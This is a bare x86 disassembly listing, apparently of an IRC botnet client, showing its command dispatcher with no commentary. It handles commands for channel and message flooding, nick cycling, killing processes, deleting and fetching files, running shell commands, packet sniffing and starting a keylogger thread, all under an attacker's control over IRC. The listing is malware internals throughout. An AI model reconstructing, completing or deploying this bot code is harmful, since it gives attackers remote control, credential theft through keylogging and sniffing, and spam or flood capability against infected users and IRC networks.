push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_405163: ; CODE XREF: sub_401CC7+3469j
; sub_401CC7+3474j
push [ebp+Source] ; Str2
push offset aPnick ; "pnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4051DC
cmp [ebp+esi+Format], ebx
jz short loc_4051DC
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+var_17B4]
push edx
push [ebp+esi+Format]
push offset aSI ; "%s%i"
push eax ; Dest
call _sprintf
add esp, 10h
lea eax, [ebp+var_17B4]
push eax
lea eax, [ebp+Dst]
push offset aNickS_0 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
loc_4051DC: ; CODE XREF: sub_401CC7+34ADj
; sub_401CC7+34B6j
push [ebp+Source] ; Str2
push offset aJoinPart ; "join/part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405329
cmp [ebp+esi+Format], ebx
jz loc_405329
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS_0 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
lea eax, [ebp+Dst]
push offset aCyber ; "CYBER"
push [ebp+esi+Format]
push offset aPartSS_0 ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS_1 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPartSS_1 ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aJoinS_2 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 0C8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPartSS_2 ; "part %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_405329: ; CODE XREF: sub_401CC7+3526j
; sub_401CC7+3533j
push [ebp+Source] ; Str2
push offset aDcc ; "dcc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4053C3
cmp [ebp+esi+Format], ebx
jz short loc_4053C3
call ds:dword_4F537C ; GetTickCount
push eax ; Seed
call _srand
pop ecx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
push edx
call _rand
cdq
mov ecx, 0F423Fh
idiv ecx
lea eax, [ebp+Dst]
push edx
push [ebp+esi+Format]
push offset aPrivmsgS_0 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 24h
loc_4053C3: ; CODE XREF: sub_401CC7+3673j
; sub_401CC7+3680j
push [ebp+Source] ; Str2
push offset aNick_0 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4054C5
mov eax, [ebp+esi+Format]
cmp eax, ebx
jz loc_4054C5
push eax
lea eax, [ebp+Dst]
push offset aJoinS_3 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_418650
add esp, 14h
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_1 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_418650
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_2 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 1F4h
idiv ecx
push edx
call edi ; Sleep
lea eax, [ebp+var_4BC]
push eax ; Dest
call sub_418650
pop ecx
lea eax, [ebp+var_4BC]
push eax
lea eax, [ebp+Dst]
push offset aNickS_3 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
loc_4054C5: ; CODE XREF: sub_401CC7+370Dj
; sub_401CC7+371Cj
push [ebp+Source] ; Str2
push offset aChgnick ; "chgnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40550C
lea eax, [ebp+var_1808]
push eax ; Dest
call sub_418650
pop ecx
lea eax, [ebp+var_1808]
push eax
lea eax, [ebp+Dst]
push offset aNickS_4 ; "NICK %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
loc_40550C: ; CODE XREF: sub_401CC7+380Fj
push [ebp+Source] ; Str2
push offset aMsg ; "msg"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4055FB
cmp [ebp+esi+Format], ebx
jz loc_4055FB
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS_4 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
lea eax, [ebp+Dst]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+Format]
push offset aPrivmsgSS_0 ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS_1 ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS_2 ; "privmsg %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_4055FB: ; CODE XREF: sub_401CC7+3856j
; sub_401CC7+3863j
push [ebp+Source] ; Str2
push offset aNotice_2 ; "notice"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4056EA
cmp [ebp+esi+Format], ebx
jz loc_4056EA
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS_5 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
lea eax, [ebp+Dst]
push offset aCyber_0 ; "CYBER"
push [ebp+esi+Format]
push offset aNoticeSS_2 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 3E8h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_3 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 384h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_4 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_4056EA: ; CODE XREF: sub_401CC7+3945j
; sub_401CC7+3952j
push [ebp+Source] ; Str2
push offset aCtcp ; "ctcp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405801
cmp [ebp+esi+Format], ebx
jz loc_405801
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS_6 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS_1 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_2 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_3 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aPrivmsgS_4 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
loc_405801: ; CODE XREF: sub_401CC7+3A34j
; sub_401CC7+3A41j
push [ebp+Source] ; Str2
push offset aMix ; "mix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405927
cmp [ebp+esi+Format], ebx
jz loc_405927
push [ebp+esi+Format]
lea eax, [ebp+Dst]
push offset aJoinS_7 ; "join %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgS_5 ; "PRIVMSG %s :"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 10h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_5 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aPrivmsgSS_3 ; "PRIVMSG %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
call _rand
cdq
mov ecx, 514h
idiv ecx
push edx
call edi ; Sleep
push offset aCyber_0 ; "CYBER"
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNoticeSS_6 ; "NOTICE %s :%s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_405927: ; CODE XREF: sub_401CC7+3B4Bj
; sub_401CC7+3B58j
push [ebp+Source] ; Str2
push offset aRegister ; "register"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40596D
mov eax, [ebp+esi+Str2]
cmp eax, ebx
jz short loc_40596D
push eax
lea eax, [ebp+Dst]
push [ebp+esi+Format]
push offset aNickservRegist ; "nickserv register %s %s"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dst]
push eax ; Dest
call sub_4182F9
add esp, 14h
loc_40596D: ; CODE XREF: sub_401CC7+3C71j
; sub_401CC7+3C7Cj
push [ebp+Source] ; Str2
push offset aOff_0 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_40653E
mov edi, offset dword_4EC244
loc_405989: ; CODE XREF: sub_401CC7+3CE1j
cmp dword ptr [edi-4], 1
jnz short loc_40599C
mov eax, [edi]
cmp eax, ebx
jbe short loc_40599C
push eax
call dword_4E3190 ; closesocket
loc_40599C: ; CODE XREF: sub_401CC7+3CC6j
; sub_401CC7+3CCCj
add edi, 210h
cmp edi, offset dword_4F2964
jl short loc_405989
cmp [ebp+var_8], ebx
jnz loc_40653E
push ebx ; int
push [ebp+var_4] ; int
push offset unk_4417CC ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_409D34
add esp, 14h
jmp loc_40653E
; ---------------------------------------------------------------------------
loc_4059D2: ; CODE XREF: sub_401CC7+318Fj
mov edi, [ebp+arg_8]
push edi ; Str2
push offset aNick_1 ; "nick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409A1A
push edi ; Str2
push offset aN ; "n"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409A1A
push edi ; Str2
push offset aJoin_0 ; "join"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099F3
push edi ; Str2
push offset aJ ; "j"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099F3
push edi ; Str2
push offset aPart_2 ; "part"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099D3
push edi ; Str2
push offset aPt ; "pt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4099D3
push edi ; Str2
push offset aRaw ; "raw"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409997
push edi ; Str2
push offset aR_2 ; "r"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409997
push edi ; Str2
push offset aKillthread ; "killthread"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409897
push edi ; Str2
push offset aK ; "k"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409897
push edi ; Str2
push offset aC_quit ; "c_quit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4097E9
push edi ; Str2
push offset aC_q ; "c_q"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4097E9
push edi ; Str2
push offset aC_rndnick ; "c_rndnick"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40978B
push edi ; Str2
push offset aC_rn ; "c_rn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_40978B
push edi ; Str2
push offset aPrefix ; "prefix"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409772
push edi ; Str2
push offset aPr ; "pr"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409772
push edi ; Str2
push offset aOpen ; "open"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409744
push edi ; Str2
push offset aO ; "o"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409744
push edi ; Str2
push offset aServer_5 ; "server"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409727
push edi ; Str2
push offset aSe ; "se"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409727
push edi ; Str2
push offset aDns ; "dns"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4096B6
push edi ; Str2
push offset aDn ; "dn"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4096B6
push edi ; Str2
push offset aKillproc ; "killproc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409686
push edi ; Str2
push offset aKp ; "kp"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409686
push edi ; Str2
push offset aKill ; "kill"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409627
push edi ; Str2
push offset aKi ; "ki"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409627
push edi ; Str2
push offset aDelete ; "delete"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095EB
push edi ; Str2
push offset aDel ; "del"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4095EB
push edi ; Str2
push offset aGet_3 ; "get"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094FF
push edi ; Str2
push offset aGt ; "gt"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094FF
push edi ; Str2
push offset aList ; "list"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094DD
push edi ; Str2
push offset aLi ; "li"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4094DD
push edi ; Str2
push offset aVisit ; "visit"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4093E9
push edi ; Str2
push offset aV ; "v"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4093E9
push edi ; Str2
push offset aMirccmd ; "mirccmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4093B2
push edi ; Str2
push offset aMirc ; "mirc"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4093B2
push edi ; Str2
push offset aCmd ; "cmd"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409348
push edi ; Str2
push offset aCm ; "cm"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_409348
push edi ; Str2
push offset aReadfile ; "readfile"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4092CB
push edi ; Str2
push offset aRf ; "rf"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz loc_4092CB
push edi ; Str2
push offset aPsniff ; "psniff"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405E6F
push [ebp+Source] ; Str2
push offset aOn ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405E35
push 20h
call sub_40B99E
test eax, eax
pop ecx
jle short loc_405D5F
push offset dword_441DE8
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_405D5F: ; CODE XREF: sub_401CC7+408Cj
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405DA1
mov esi, offset a2_1 ; "#2"
push offset byte_4E2FA4 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405DA1
mov esi, [ebp+Format]
loc_405DA1: ; CODE XREF: sub_401CC7+40BCj
; sub_401CC7+40D2j
push esi ; Format
lea eax, [ebp+var_EC0]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_441E08 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 20h ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset sub_412A56
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_405E24
loc_405E0E: ; CODE XREF: sub_401CC7+415Bj
cmp [ebp+var_E34], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_405E0E
; ---------------------------------------------------------------------------
loc_405E24: ; CODE XREF: sub_401CC7+4145j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_441E38
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_405E35: ; CODE XREF: sub_401CC7+407Cj
push [ebp+Source] ; Str2
push offset aOff ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_408506
push ebx
push 20h
call sub_40B951
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E65
push eax
push offset dword_441E78
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_405E65: ; CODE XREF: sub_401CC7+4191j
push offset dword_441EB4
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_405E6F: ; CODE XREF: sub_401CC7+4065j
push edi ; Str2
push offset aSniffer ; "sniffer"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405FC1
push [ebp+Source] ; Str2
push offset aOn_0 ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_405F87
push 21h
call sub_40B99E
test eax, eax
pop ecx
jle short loc_405EB1
push offset unk_441EEC
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_405EB1: ; CODE XREF: sub_401CC7+41DEj
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+Format]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405EF3
mov esi, offset a2_1 ; "#2"
push offset byte_4E2FA8 ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_405EF3
mov esi, [ebp+Format]
loc_405EF3: ; CODE XREF: sub_401CC7+420Ej
; sub_401CC7+4224j
push esi ; Format
lea eax, [ebp+var_FE8]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_441F0C ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 21h ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_4130E1
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_405F76
loc_405F60: ; CODE XREF: sub_401CC7+42ADj
cmp [ebp+var_F5C], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_405F60
; ---------------------------------------------------------------------------
loc_405F76: ; CODE XREF: sub_401CC7+4297j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset unk_441F3C
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_405F87: ; CODE XREF: sub_401CC7+41CEj
push [ebp+Source] ; Str2
push offset aOff_1 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_408506
push ebx
push 21h
call sub_40B951
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405FB7
push eax
push offset unk_441F7C
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_405FB7: ; CODE XREF: sub_401CC7+42E3j
push offset unk_441FBC
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_405FC1: ; CODE XREF: sub_401CC7+41B7j
push edi ; Str2
push offset aIdent ; "ident"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406096
push [ebp+Source] ; Str2
push offset aOn_1 ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40605C
push 2
call sub_40B99E
test eax, eax
pop ecx
jle short loc_405FFF
push offset dword_441FF8
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_405FFF: ; CODE XREF: sub_401CC7+432Cj
lea eax, [ebp+Dst]
push offset asc_442018 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 2 ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset sub_410C7D
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_45602C[esi], eax
jnz loc_408506
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442044
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_40605C: ; CODE XREF: sub_401CC7+4320j
push [ebp+Source] ; Str2
push offset aOff_2 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_408506
push ebx
push 2
call sub_40B951
pop ecx
cmp eax, ebx
pop ecx
jle short loc_40608C
push eax
push offset dword_44207C
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_40608C: ; CODE XREF: sub_401CC7+43B8j
push offset dword_4420B4
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_406096: ; CODE XREF: sub_401CC7+4309j
push edi ; Str2
push offset aKeylog ; "keylog"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_406211
mov edi, [ebp+Source]
push edi ; Str2
push offset aOn_2 ; "on"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406108
push edi ; Str2
push offset aFile ; "file"
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_406108
push edi ; Str2
push offset aOff_3 ; "off"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_408506
push ebx
push 23h
call sub_40B951
pop ecx
cmp eax, ebx
pop ecx
jle short loc_4060FE
push eax
push offset dword_442174
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_4060FE: ; CODE XREF: sub_401CC7+442Aj
push offset dword_4421B0
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_406108: ; CODE XREF: sub_401CC7+43F6j
; sub_401CC7+4407j
push 23h
call sub_40B99E
test eax, eax
pop ecx
jle short loc_40611E
push offset dword_4420E8
jmp loc_40717F
; ---------------------------------------------------------------------------
loc_40611E: ; CODE XREF: sub_401CC7+444Bj
mov eax, [ebp+arg_4]
push edi ; Str2
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push offset aFile_0 ; "file"
mov [ebp+var_BD4], eax
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40614D
mov [ebp+var_BD0], 1
jmp short loc_406156
; ---------------------------------------------------------------------------
loc_40614D: ; CODE XREF: sub_401CC7+4478j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_406156: ; CODE XREF: sub_401CC7+4484j
mov esi, [ebp+esi+Format]
cmp esi, ebx
jnz short loc_40617D
mov esi, offset a2_0 ; "#2"
push offset byte_4E2FAC ; Str2
push esi ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_40617D
mov esi, [ebp+Format]
loc_40617D: ; CODE XREF: sub_401CC7+4498j
; sub_401CC7+44AEj
push esi ; Format
lea eax, [ebp+var_C54]
push 80h ; Count
push eax ; Dest
call __snprintf
add esp, 0Ch
lea eax, [ebp+Dst]
push offset asc_442110 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Dst]
push 23h ; int
push eax ; Source
call sub_40B756
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset sub_412775
push ebx
push ebx
call ds:dword_4F5350 ; CreateThread
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_45602C[ecx], eax
jz short loc_406200
loc_4061EA: ; CODE XREF: sub_401CC7+4537j
cmp [ebp+var_BCC], ebx
jnz loc_408506
push 32h
call ds:dword_4F534C ; Sleep
jmp short loc_4061EA
; ---------------------------------------------------------------------------
loc_406200: ; CODE XREF: sub_401CC7+4521j
call ds:dword_4F5360 ; RtlGetLastWin32Error
push eax
push offset dword_442134
jmp loc_404BD6
; ---------------------------------------------------------------------------
loc_406211: ; CODE XREF: sub_401CC7+43DEj
push edi ; Str2
push offset aNet ; "net"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz loc_4064EA
cmp dword_4E31C8, ebx
jz short loc_406240
cmp dword_4E31F0, ebx
jz short loc_406240
push offset unk_442358
jmp loc_408850
; ---------------------------------------------------------------------------
loc_406240: ; CODE XREF: sub_401CC7+4565j
; sub_401CC7+456Dj
cmp [ebp+var_C], ebx
jz loc_406F59
mov edi, [ebp+esi+Format]
mov [ebp+Src], ebx
cmp edi, ebx
jz short loc_406265
push edi ; SubStr
push [ebp+var_C] ; Str
call _strstr
pop ecx
mov [ebp+Src], eax
pop ecx
loc_406265: ; CODE XREF: sub_401CC7+458Ej
push [ebp+Source] ; Str2
push offset aStart ; "start"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4062BF
cmp edi, ebx
jz short loc_406293
push [ebp+Src]
push 3
call sub_41958E
pop ecx
pop ecx
push eax
push offset aS_3 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_406293: ; CODE XREF: sub_401CC7+45B3j
push [ebp+var_4] ; int
push [ebp+Format] ; Str
push [ebp+arg_4] ; int
call sub_419828
add esp, 0Ch
test eax, eax
jz short loc_4062B5
push offset unk_4421EC
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4062B5: ; CODE XREF: sub_401CC7+45E2j
push offset unk_442210
jmp loc_408850
; ---------------------------------------------------------------------------
loc_4062BF: ; CODE XREF: sub_401CC7+45AFj
push [ebp+Source] ; Str2
push offset aStop ; "stop"
call _strcmp
pop ecx
test eax, eax
pop ecx
jnz short loc_4062E9
push [ebp+Src]
push 4
call sub_41958E
pop ecx
pop ecx
push eax
push offset aS_4 ; "%s"
jmp loc_406F4A
; ---------------------------------------------------------------------------
loc_4062E9: ; CODE XREF: sub_401CC7+4609j
push [ebp+Source] ; Str2
push offset aPause ; "pause"
call _strcmp
pop ecx
test eax, eax
pop ecx
